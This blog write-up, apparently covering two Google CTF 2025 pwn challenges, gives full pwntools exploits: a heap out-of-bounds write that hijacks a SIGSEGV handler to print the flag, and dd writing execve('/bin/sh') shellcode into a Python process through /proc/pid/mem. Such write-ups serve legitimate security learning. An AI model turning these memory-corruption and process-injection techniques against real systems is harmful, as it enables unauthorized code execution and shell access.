Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

The Classic Notes App

题目功能

create_note: 先分配一个新的 void* notes[note_count] 再分配新的note
write_note: 按 offset 偏移写入 note ,长度有检查,但 offset 没有

题目自定义了发生 SIGSEGV 时的 handler

1
2
3
4
sigemptyset(&s.sa_mask);
s.sa_flags = 0x40000000;
s.sa_handler = (__sighandler_t)handler;
sigaction(11, &s, 0LL);

handler 中对 void *my_function_frames[] 进行了遍历,这个结构体 +0 位置是一个 char* name,如果这个字符串为 exit 就会调用 +8 位置的函数指针指向的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __noreturn handler()
{
int i; // [xsp+34h] [xbp+34h]

puts("SIGFAULT!");
for ( i = 0; i <= 7; ++i )
{
if ( my_function_frames )
{
if ( !strcmp((const char *)(my_function_frames + 16LL * i), "exit") )
{
puts("Calling exit from function frames");
(*(void (__fastcall **)(__int64))(my_function_frames + 16LL * i + 8))(0xFFFFFFFFLL);
}
}
}
exit(-1);
}

flag 函数读取并输出 flag。

原有的 my_function_frame 已经有 name 为 flag 的 flag 函数了,只需要把 name 从 flag 改成 exit 就会在触发 SIGSEGV 后调用到。

漏洞点

在 W 指令里面没有检查 offset ,导致堆 oob 任意 offset 写

利用思路

部分写篡改 void* notes[] 中的 char* note (1/16) , 将它指向 my_function_frames

然后把 frame 中 name 字段的值从 flag 改成 exit

最后写非法地址触发 SIGSEGV

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwncli import *

filename = "ctf"
libcname = ""
host = "the-classic-notes-app.2025.ctfcompetition.com"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
b main
"""


def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
# return process(elf.path)
return process('qemu-aarch64 -L /usr/aarch64-linux-gnu ' + elf.path, shell = True)


p = start()

s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()

# Your exploit here

def cmd(i):
sla("command:\n", i)

def add(size):
cmd('C' + str(size))


def read(idx):
cmd('R' + str(size))

def write(idx, off, size, content):
pay = flat('W' , str(idx) , ' ' , str(off) , ' ' , str(size) , content)
cmd(pay)


def exp():

payload = p16(0x02a0)
write(1, 0x20, len(payload), payload)

payload = b'exit'
write(0, 0x0, len(payload), payload)

payload = b'\xff'*8
write(1, 0x20, len(payload), payload)

payload = b'crash'
write(0, 0x0, len(payload), payload)


if b'FLAG' in p.recvrepeat(0.5):
ia()


while True:
try:
exp()
except:
pass
p.close()
p = start()

DataDefinition

题目功能

运行 dd
能控制 dd 参数和运行 dd 后的一次输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Copyright 2025 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import subprocess
import sys


def main():
print('Do you like dd? It is my favorite old-style tool :D\n')
line = input(' > What is your favorite dd line?: ').encode()
user_input = input(' > Any input to go with it?: ')
print(user_input)
user_input = user_input.encode()

print('I like it! Let\'s give it a go!')
res = subprocess.run(['dd'] + line.split(), input=user_input,
capture_output=True)
print(res.stdout.decode('utf-8'))
print(res.stderr.decode('utf-8'))
print('It was fun, bye!')
input()


if __name__ == '__main__':
main()

漏洞点

ddexec

写入 /proc/$pid/mem 篡改进程的内存
而用 dd 可以自选偏移写入文件,也就可以偏移到 rx 段写入 shellcode,进而劫持控制流

利用思路

python3.12 进程在结束时会调用 Py_FinalizeEx,所以 dd 设置偏移到这个函数的位置写入 execve("/bin/sh",0,0) shellcode

然而 python 读入时进行了 encode() ,意味着只能读入 unicode 范围内的字符
所以 shellcode 要全部为 unicode 字符

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwncli import *
import subprocess
context.log_level = "debug"
context.arch = "amd64"

if args.REMOTE:
p = remote('datadefinition.2025.ctfcompetition.com', 1337)
else:
p = process(['python3', './chall.py'])


if args.REMOTE:
p.recvuntil(b'You can run the solver with:\n')

cmmd = p.recvline()[:-1]

result = subprocess.run(
["bash", "-c", cmmd],
capture_output=True,
text=True,
check=True
)
p.sendline(result.stdout)


finalize = 0x0006B10A0 # Py_FinalizeEx
p.recvuntil(b'dd line?: ')

if args.REMOTE:
p.sendline(f'of=/proc/{1}/mem bs=1 seek={finalize}')
else:
p.sendline(f'of=/proc/{pidof(p)[0]}/mem bs=1 seek={finalize}')

p.recvuntil(b'with it?: ')

code = """
push 0x5a58555a
pop rax
xor eax, 0x34313775
xor dword ptr [rsp+0x10], eax
push 0x6a51475a
pop rax
xor eax, 0x6a393475
xor dword ptr [rsp+0x14], eax
pop rdi
pop rdi
push rsp
pop rdi
push 0x3b
pop rax
push 0
pop rsi
push 0
pop rdx
syscall
"""

shellcode = asm(code)


p.sendline(shellcode)
p.interactive()

评论




本站总访问量为 次 访客数为 人